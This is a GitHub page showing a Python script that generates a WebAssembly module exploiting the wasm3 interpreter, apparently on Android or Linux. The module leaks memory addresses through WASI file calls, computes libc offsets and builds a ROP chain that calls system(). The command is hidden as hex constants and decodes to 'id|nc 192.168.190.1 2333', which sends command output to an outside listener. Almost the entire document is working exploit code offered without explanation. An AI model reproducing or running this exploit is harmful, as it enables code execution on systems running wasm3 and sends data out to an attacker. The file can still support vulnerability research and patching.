-
Notifications
You must be signed in to change notification settings - Fork 6
/
wasm3_exp_android.py
497 lines (424 loc) · 8.72 KB
/
wasm3_exp_android.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
#coding:utf8
code = '''
(module
(type (;0;) (func))
(type (;1;) (func (param i32 i32 i32 i32) (result i32)))
(type (;2;) (func (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(type (;3;) (func (param i32 i64 i32 i32) (result i32)))
(type (;4;) (func (param i32 i64 i64) (result i32)))
(type (;5;) (func (param i32 i64) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $__fd_write (type 1)))
(import "wasi_snapshot_preview1" "fd_read" (func $__fd_read (type 1)))
(import "wasi_snapshot_preview1" "path_open" (func $__path_open (type 2)))
(import "wasi_snapshot_preview1" "fd_seek" (func $__fd_seek (type 3)))
(global $tmp_fd (;0;) (mut i32) (i32.const 0xff))
(global $elf_base (;0;) (mut i64) (i64.const 0x6666))
(global $pc (;0;) (mut i64) (i64.const 0x1111))
(global $free_addr (;0;) (mut i64) (i64.const 0x2222))
(global $wasm_code_len (;0;) (mut i32) (i32.const 0x3333))
(func $_global_get (type 4)
local.get 0
global.get $elf_base
i64.const 0x33080
i64.add
i64.store
local.get 0
i32.const 0x8
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x10
i32.add
local.get 2
i64.store
local.get 0
i32.const 0x18
i32.add
)
(func $_local_get (type 4)
local.get 0
global.get $elf_base
i64.const 0x334a0
i64.add
i64.store
local.get 0
i32.const 0x8
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x10
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x18
i32.add
local.get 2
i64.store
local.get 0
i32.const 0x20
i32.add
)
(func $_global_set (type 5)
local.get 0
global.get $elf_base
i64.const 0x33140
i64.add
i64.store
local.get 0
i32.const 0x8
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x10
i32.add
)
(func $_raw_store (type 5)
local.get 0
local.get 1
i64.store
local.get 0
i32.const 0x8
i32.add
)
(func $_add (type 4)
local.get 0
global.get $elf_base
i64.const 0x2fba0
i64.add
i64.store
local.get 0
i32.const 0x8
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x10
i32.add
local.get 2
i64.store
local.get 0
i32.const 0x18
i32.add
)
(func $_sub (type 4)
local.get 0
global.get $elf_base
i64.const 0x2fc00
i64.add
i64.store
local.get 0
i32.const 0x8
i32.add
local.get 1
i64.store
local.get 0
i32.const 0x10
i32.add
local.get 2
i64.store
local.get 0
i32.const 0x18
i32.add
)
(func $_start (type 0)
(local i64 i64 i64 i64 i64 i64 i64 i64 i64 i64)
i32.const 0x1
memory.grow
i32.const 0
i32.const 0x742f2e
i32.store
i32.const 3
i32.const 1
i32.const 0
i32.const 0x4
i32.const 0x1
i64.const 0x4600077
i64.const 0
i32.const 0
i32.const 0
call $__path_open
drop
i32.const 0
i32.load
global.set $tmp_fd
global.get $tmp_fd
i64.const 0
i32.const 0
i32.const 0
call $__fd_seek
drop
i32.const 0
i32.const 0x22fd8
i32.store
i32.const 0x4
i32.const 0x50
i32.store
i32.const 0x100
i32.const 0
i32.store
global.get $tmp_fd
i32.const 0x0
i32.const 0x1
i32.const 0x100
call $__fd_write
drop
global.get $tmp_fd
i64.const 0
i32.const 0
i32.const 0
call $__fd_seek
drop
i32.const 0
i32.const 0
i32.store
i32.const 0x4
i32.const 0x50
i32.store
global.get $tmp_fd
i32.const 0
i32.const 0x1
i32.const 0x100
call $__fd_read
drop
i32.const 0
i64.load
i64.const 0x1008
i64.add
global.set $pc
i32.const 0x48
i64.load
i64.const 0x2ad40
i64.sub
global.set $elf_base
//free offset
i64.const 0x44cb0
local.set 0
//environ offset
i64.const 0xd8240
local.set 1
//system offset
i64.const 0x6f0b0
local.set 2
//zero
i64.const 0
local.set 3
//pop rdi ; pop rbp ; ret
i64.const 0x00000000000215ba
global.get $elf_base
i64.add
local.set 4
//rdi arg address
global.get $pc
i64.const 0x298
i64.add
local.set 5
//rop offset
i64.const 0x3760
local.set 6
i64.const 0x8
local.set 7
i64.const 0x18
local.set 8
i64.const 0x000000000002115e
global.get $elf_base
i64.add
local.set 9
//get free addr
i32.const 8
global.get $elf_base
i64.const 0x63ab8
i64.add
i64.const 0x64
call $_global_get
//get libc_base
i64.const 0
i64.const 0x64
call $_sub
//store to $pc
global.get $pc
call $_global_set
//get libc_base
global.get $pc
i64.const 0x62
call $_global_get
//get environ_ptr_address
i64.const 0x2
i64.const 0x62
call $_add
//change 0x1111111111111111 to environ_ptr_address
global.get $pc
i64.const 0x88
i64.add
call $_global_set
//[0] get environ address
i64.const 0x1111111111111111
i64.const 0x62
call $_global_get
//get rop_address
i64.const 0xc
i64.const 0x62
call $_sub
//store rop address to $pc+0x18
global.get $pc
i64.const 0x18
i64.add
call $_global_set
//get libc_base
global.get $pc
i64.const 0x62
call $_global_get
//get system_address
i64.const 0x4
i64.const 0x62
call $_add
//store system_address to $pc+0x10
global.get $pc
i64.const 0x10
i64.add
call $_global_set
//get rop address
global.get $pc
i64.const 0x18
i64.add
i64.const 0x62
call $_global_get
//mov rcx,value
i64.const 0x6
i64.const 0x62
call $_add
//set 0x0xaaaaaaaaaaaaaaaa to rop_address
global.get $pc
i64.const 0x180
i64.add
call $_global_set
//get pop_rdi address
i64.const 0x8
i64.const 0x62
call $_local_get
i64.const 0x6
i64.const 0x62
call $_add
//write pop rdi address to rop
i64.const 0xaaaaaaaaaaaaaaaa
call $_global_set
//get rop address
global.get $pc
i64.const 0x18
i64.add
i64.const 0x62
call $_global_get
//add rcx,0x8
i64.const 14
i64.const 0x62
call $_add
//set 0xbbbbbbbbbbbbbbbb to rop_address+8
global.get $pc
i64.const 0x208
i64.add
call $_global_set
//get rdi args address
i64.const 0xa
i64.const 0x62
call $_local_get
i64.const 0x6
i64.const 0x62
call $_add
//write rdi args address to rop+0x8
i64.const 0xbbbbbbbbbbbbbbbb
call $_global_set
//get rop address
global.get $pc
i64.const 0x18
i64.add
i64.const 0x62
call $_global_get
//add rcx,0x10
i64.const 0x10
i64.const 0x62
call $_add
//set 0xcccccccccccccccc to rop_address+0x18
global.get $pc
i64.const 0x288
i64.add
call $_global_set
//get system address
global.get $pc
i64.const 0x10
i64.add
i64.const 0x62
call $_global_get
i64.const 0x6
i64.const 0x62
call $_add
//write system address to rop+0x10
i64.const 0xcccccccccccccccc
call $_global_set
//ret
local.get 9
call $_raw_store
//cmd
i64.const 0x393120636E7C6469
call $_raw_store
i64.const 0x39312E3836312E32
call $_raw_store
i64.const 0x3333333220312E30
call $_raw_store
i64.const 0
call $_raw_store
global.set $wasm_code_len
global.get $tmp_fd
i64.const 0
i32.const 0
i32.const 0
call $__fd_seek
drop
i32.const 0
i32.const 0x8
i32.store
i32.const 0x4
global.get $wasm_code_len
i32.store
global.get $tmp_fd
i32.const 0
i32.const 0x1
i32.const 0x100
call $__fd_write
drop
global.get $tmp_fd
i64.const 0
i32.const 0
i32.const 0
call $__fd_seek
drop
i32.const 0
i32.const 0x23020
i32.store
i32.const 0x4
global.get $wasm_code_len
i32.store
global.get $tmp_fd
i32.const 0
i32.const 0x1
i32.const 0x100
call $__fd_read
drop
i32.const 0
br_table %s
)
(memory (;0;) 0x1)
(export "_start" (func $_start))
)
'''
code = code % ('0 (;@0;)'*0x2ffd)
lines = code.split('\n')
code = ''
for line in lines:
if '//' not in line:
code += line + '\n'
f = open('wi.wat','w')
f.write(code)
f.close()